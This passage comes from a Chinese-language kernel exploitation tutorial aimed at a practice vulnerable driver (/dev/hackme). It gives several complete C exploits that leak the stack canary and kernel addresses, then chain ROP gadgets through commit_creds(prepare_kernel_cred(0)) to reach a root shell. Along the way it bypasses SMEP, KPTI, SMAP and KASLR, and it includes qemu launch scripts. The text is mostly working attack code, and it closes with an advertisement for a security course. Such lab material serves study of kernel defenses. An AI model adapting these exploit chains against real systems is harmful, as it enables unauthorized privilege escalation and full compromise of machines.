0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff81006370: pop rdi; ret;
0xffffffff814443e0 T native_write_cr4
*/
unsigned long user_sp, user_cs, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff814c6410;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main()
{
unsigned int i, index = 0;
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 8*11);
for(i = 0; i < 11; i++)
printf("i:%d:data:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long leak_addr = buf[10];
save_user_land();
unsigned long payload[256];
for(i = 0; i < (16); i ++)
payload[index++] = 0;
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; // pop rdi; ret;
payload[index++] = 0x00000000000060;
payload[index++] = 0xffffffff814443e0; //native_write_cr4
payload[index++] = (unsigned long)lpe;
write(fd, payload, index * 8);
return 0;
}
但是在这个版本下的内核已经无法通过native_write_cr4函数改写CR4寄存器了,可以通过dmesg打印日志信息,可以发现
提示pinned CR4 bits changed: 0x100000!?的错误,并且CR4的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。
可以看到补丁的说明,在启动后CR4的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。
构造逃逸ROP
由于SMEP只是杜绝了执行用户态的代码,因此利用ROP的思路,在内核态完成ROP链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。
那么此时需要什么样的gadget则是构造逃逸ROP的重点,由于需要手动传参调用上述的攻击链,因此需要
pop rdi; ret;
mov rdi , rax; ret,这里需要注意的是,我们需要prepare_kernel_cred(0)执行的返回值,因此需要将rax寄存器的值传递给rdi寄存器
swags; ret
iretq
除了mov rdi, rax; ret以外,其余的gadget都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret这样的gadget,因此需要想办法找到其他的gadget,这里我找到如下的组合,通过构造rdi与rsi的值,使得rdi = rsi从而导致jne的跳转无法执行,那么就可以在执行mov rdi, rax的情况下可以跳过jne的跳转指令执行到ret指令。
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
栈迁移
栈迁移能使用的场景是当我们需要构造的ROP链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP指针的gadget可以使用。这里我找到的gadget是,通过pop rbp; ret与mov rsp, rbp结合,就能够篡改rsp为任何值。
0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret;
0xffffffff810062dc: mov rsp, rbp; pop rbp; ret;
那么需要将rsp篡改为何值,此时就需要结合mmap函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp的值指向mmap开辟的地址,通过栈迁移技术,将栈迁移到mmap的地址值,我们在将ROP链填充到mmap开辟的内存中即可,这里对mmap函数进行一个介绍。
mmap函数
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000(这里是我自己测试的)
length:内存的大小
prot:权限
PROT_EXEC,执行权限
PROT_READ,读权限
PROT_WRITE,写权限
PROT_NONE,没有任何权限
flags:标志位,mmap函数可以设置的标志位有很多,这里着重介绍一些常用的
MAP_SHARED:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件
MAP_PRIVATE:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件
MAP_ANONYMOUS:匿名映射,是一种不映射文件的映射
MAP_FIXED:固定映射,即映射地址必须是addr所指定的,若该地址被占用则mmap返回错误
fd:需要映射的文件描述符,若是匿名映射则设置为-1
offet:映射的偏移,即选择从哪个位置开始映射
映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS与MAP_FIXED的标志位需要被指定,然后是MAP_SHARED与MAP_PRIVATE必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。
栈迁移完成
将ROP链部署在了映射内存中
最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap开辟的内存是在用户态的,SMEP则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP,后面理解发现,我们只是访问了用户空间的地址即0x2000,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP无法阻碍这种利用。而这也正是SMAP与SMEP的区别,SMAP则是无法读写用户态空间,因此若开启了SMAP,那么该利用手法则无法进行。
绕过KPTI
KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。
简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。
那么有两种方式可以绕过KPTI
捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh)
切换页表,将内核空间的页表切换到用户空间中去
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \
-s
使用异常处理
使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh")
signal(SIGSEGV, backdoor);
exp
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
signal(SIGSEGV, backdoor);
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
使用swapgs_restore_regs_and_return_to_usermode
第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。
那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode 函数是在 x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。
在内核中搜索该函数的地址
可以看到在该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16的位置开始执行。
在该函数后续的执行中,还会执行swapgs的指令,切换GS的寄存器,并且做一个绝对跳转到0xffffffff81200fco
在该地址的后续还存在这iretq的指令,因此该函数具备了所有的条件。
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
绕过SMAP
SMAP则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode构建的ROP链。
但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。
绕过KASLR
KASLR与用户态下的ASLR差不多,都是开启了地址的随机化,因此不能使用绝对地址。
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \
-s
泄露内核地址
通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds -- [-3701815]
0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823]
0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139]
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308]
0xffffffff81006370: pop rdi; ret; -- [-8682711]
0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832]
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318]
0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028]
0xffffffff8150b97e: pop rsi; ret; -- [-3417801]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159]
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
unsigned long leak_addr = buf[10];
printf("leak addr:0x%lx\n", leak_addr);
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = leak_addr - 8682711; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = leak_addr - 3700823; //prepare_kernel_cred
payload[index++] = leak_addr - 3417801; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = leak_addr - 8682711; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = leak_addr - 3701815; //commit_creds;
payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

